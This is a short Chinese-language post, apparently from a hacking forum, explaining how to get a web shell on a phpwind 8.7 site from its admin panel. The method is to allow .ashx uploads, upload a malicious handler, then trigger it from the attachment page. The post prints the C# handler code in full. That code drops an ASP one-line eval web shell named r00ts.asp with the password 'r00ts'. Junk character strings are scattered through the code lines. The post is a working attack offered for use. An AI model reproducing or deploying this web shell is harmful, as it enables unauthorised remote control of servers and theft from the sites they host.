phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
& r# N$ @( b9 L. y9 h' |
# k' Z( m1 e6 v- Z& K- [+ b群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
5 l  {, a/ M4 ^0 ^( p3 f+ @
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:

9 z4 r/ F4 R. O) _# k% u- U* H<%@ WebHandler Language="C#"Class="Handler" %>
  Q9 O2 [- r7 E% S2 Yusing System;
" d+ a7 C7 j, o8 @# lusing System.Web;
using System.IO;
" t: F5 o; f% P! W1 Y4 \2 ~" vpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
: Z3 e7 H0 z* `3 @" tStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
: `, c# ^. e) {- i" Tfile1.Close();
1 {, b9 C, l1 v: {2 X5 }8 y( G  E% P}
public bool IsReusable {
: M7 y5 N* {% ~0 C* R8 P) `: _get {
return false;
- Q  o' X8 |/ z* s# {5 ~}
}
  y9 R4 ]0 r8 X3 d" l1 p# o4 v2 A}
+ b. f, o1 l' l  e; ^7 {6 {0 t